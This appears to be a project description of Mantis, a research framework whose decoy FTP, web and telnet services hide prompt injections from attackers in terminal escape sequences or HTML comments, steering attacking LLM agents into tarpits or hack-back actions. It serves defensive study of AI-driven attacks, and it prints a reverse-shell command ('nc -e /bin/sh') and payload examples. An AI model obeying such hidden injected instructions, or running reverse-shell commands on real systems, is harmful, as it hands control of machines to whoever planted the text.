Project Mantis: Runtime Defense Against LLM-Driven Cyberattacks via Prompt Injection
Project Mantis is an open-source Python framework designed to counter Large Language Model (LLM)-driven cyberattacks by exploiting prompt injection vulnerabilities. It operates as a runtime defense mechanism, deploying decoy services that manipulate attacker interactions through carefully crafted prompt injections. The project is maintained by Dario Pasquini and is available under a custom or multiple licenses, depending on the repository configuration.
These commands are triggered when the attacker engages with decoy services, such as fake FTP servers, SQL-injection-vulnerable web applications, or telnet services with weak authentication. Once triggered, Mantis can spawn reverse shells, tarpits, or other post-exploitation tools to study attacker behavior or disrupt operations.
Mantis is not intended for production use but serves as a research tool for understanding and mitigating LLM-driven cyber threats. Its configurations are experimental and require manual setup, including dependencies and customization of decoy behaviors.
How It Works
Mantis functions by deploying decoy services that mimic vulnerable systems. These decoys are configured to respond to attacker interactions with prompt injections—subtle manipulations of the LLM’s input prompts that coerce it into executing predefined actions. The framework relies on two primary configuration components: DECOYS and TRIGGEREVENTS.
Decoy Services
Decoys are the bait used to attract attackers. Mantis includes several pre-built decoy classes, each simulating a different type of vulnerable service:
- AnonymousFTP: A fake FTP server with anonymous login credentials enabled, designed to lure attackers into exploring a compromised filesystem.
- TarpitFTP: An FTP server with an infinitely deep filesystem structure, intended to trap attackers in a labyrinthine directory system while injecting prompts to prolong engagement.
- WebFakeDBsqlinj: A web application with a login page vulnerable to SQL injection, allowing Mantis to inject prompts that manipulate the LLM into executing malicious queries.
- AnyPasswordFakeTelnet: A telnet server with weak authentication, where attackers may be prompted to interact with injected commands.
Each decoy runs on a specified port and can be customized through configuration files stored in the ./confs directory. The DECOYS variable in these files defines which decoys are active, their associated ports, and any hyperparameters (e.g., the depth of a tarpit filesystem or the vulnerability type of a web app).
Trigger Events and Prompt Injection
The TRIGGEREVENTS configuration dictates Mantis’s response to attacker interactions. If met, Mantis injects a payload into the response, crafted from two pools:
- EXECUTIONTRIGGERPOOL: A list of strings that define how the payload should be triggered (e.g., ‘Explore this directory to find sensitive data’).
- PAYLOADPOOL: A list of instructions the attacker’s LLM is coerced to execute (e.g., ‘Open a reverse shell to this IP’).
The injection can be made invisible to the attacker by wrapping the payload in ASCII escape sequences (for terminal output) or HTML comments (for web responses). For example, a decoy might respond to an FTP directory listing with an invisible command like nc -e /bin/sh {TARGET_IP}, which the LLM agent would unknowingly execute.
Post-Exploitation and Tarpits
Once a trigger event is activated, Mantis can spawn additional services or modify the decoy’s behavior.
- Reverse Shell Listeners: Configurations like ftphackbackrshell.py spawn a listener on a specified port when the attacker attempts to exploit the decoy, allowing researchers to monitor or disrupt the attack.
- Tarpits: The ftpfilesystemtarpit.py configuration creates an FTP server with an artificially deep directory structure.
The SERVICESTOSPAWN parameter in TRIGGEREVENTS defines which services to activate post-trigger, such as additional decoys or monitoring tools. The TOKILL flag can terminate the decoy process after exploitation, though this is not universally supported.
Use Cases
Mantis is primarily a research tool for cybersecurity professionals and AI safety researchers.
Studying LLM-Driven Attack Patterns
By deploying decoys with specific vulnerabilities, Mantis allows researchers to observe how LLMs interact with malicious prompts. This provides insights into the effectiveness of prompt-based deception and the limitations of LLM-driven attacks.
Red Teaming and Adversarial Testing
By configuring decoys to mimic internal services, they can test how well detection systems identify prompt injection attempts or how attackers might bypass security measures.
Honeypot Deployment for Threat Intelligence
For instance, a tarpit configuration could trap an attacker in a fake filesystem while logging their commands, IP addresses, and tools used.
Educational Demonstrations
The project’s transparent configuration system makes it useful for teaching cybersecurity concepts, such as prompt injection, LLM exploitation, and honeypot design.
Modular Decoy System
Mantis’s decoy architecture is modular, allowing users to extend or replace existing services.
Customizable Prompt Injection
The injection mechanism is highly configurable. Users can define custom trigger phrases, payloads, and invisibility techniques. For instance, a decoy might inject a payload only when the attacker’s query matches a specific pattern (e.g., ‘list files’). The EXECUTIONTRIGGERPOOL and PAYLOADPOOL can be tailored to specific attack scenarios.
Automated Post-Exploitation
Trigger events can automatically spawn additional services, such as reverse shell listeners or secondary decoys.
Tarpit Functionality
The tarpit feature is designed to prolong attacker engagement. By creating an infinitely deep filesystem or a loop of misleading responses, Mantis can delay an attacker’s progress while collecting data.
Support for Multiple Protocols
Mantis supports decoys for FTP, HTTP (with SQL injection vulnerabilities), and Telnet, with plans to expand to other protocols. Each decoy type requires distinct configuration but follows the same underlying framework, ensuring consistency in behavior and logging.
Configuration Files
Two variables are mandatory:
- DECOYS: A dictionary mapping ports to decoy classes and their configurations. Each entry specifies the decoy type (e.g., TarpitFTP) and custom parameters (e.g., EXPECTEDNUMBEROFDIRECTORIES).
- TRIGGEREVENTS: A dictionary defining actions to take when a decoy is triggered. Each entry includes an injection function, payload pools, and post-exploitation steps.
Example configurations demonstrate how to set up decoys for hack-back scenarios (e.g., ftphackbackrshell.py) or tarpits (e.g., ftpfilesystemtarpit.py). Users can replicate or modify these templates to suit their needs.
Dependencies and Setup
Mantis requires Python and a set of dependencies listed in requirements.txt. Decoys are executed using the mantisrun.py script, followed by the path to a configuration file (e.g., python mantisrun.py confs/ftphackbackrshell).
Limitations
Mantis is experimental and not designed for production environments.
- Manual Configuration: Each decoy and trigger event requires custom scripting, which may not be straightforward for non-developers.
- Production Risks: Decoys like reverse shell listeners pose security risks if misconfigured or exposed to unintended networks.
The project’s white paper provides additional technical details, including evaluation methodologies and replication instructions for experimental setups.
Example Configurations
Mantis includes several pre-built configurations to demonstrate its capabilities:
- FTP Hack-Back with Reverse Shell: The ftphackbackrshell.py configuration deploys an anonymous FTP server that injects a reverse shell command when the attacker attempts to navigate directories. The shell listener is spawned on a user-specified port for testing purposes.
- SQL Injection Web Decoy: The webhackbackrshell.py configuration simulates a vulnerable web application.
- Service Banner Injection: The webhackbackrshellwithinjbanner.py variation adds service banner injection to attract attackers. The BANNERINJECTIONPOOL hyperparameter controls the injected banners, which may include misleading or enticing descriptions.
- FTP Tarpit: The ftpfilesystemtarpit.py configuration creates an FTP server with an infinitely deep filesystem.
Each configuration can be adapted by modifying the DECOYS and TRIGGEREVENTS variables, or by extending the framework to include new decoy classes.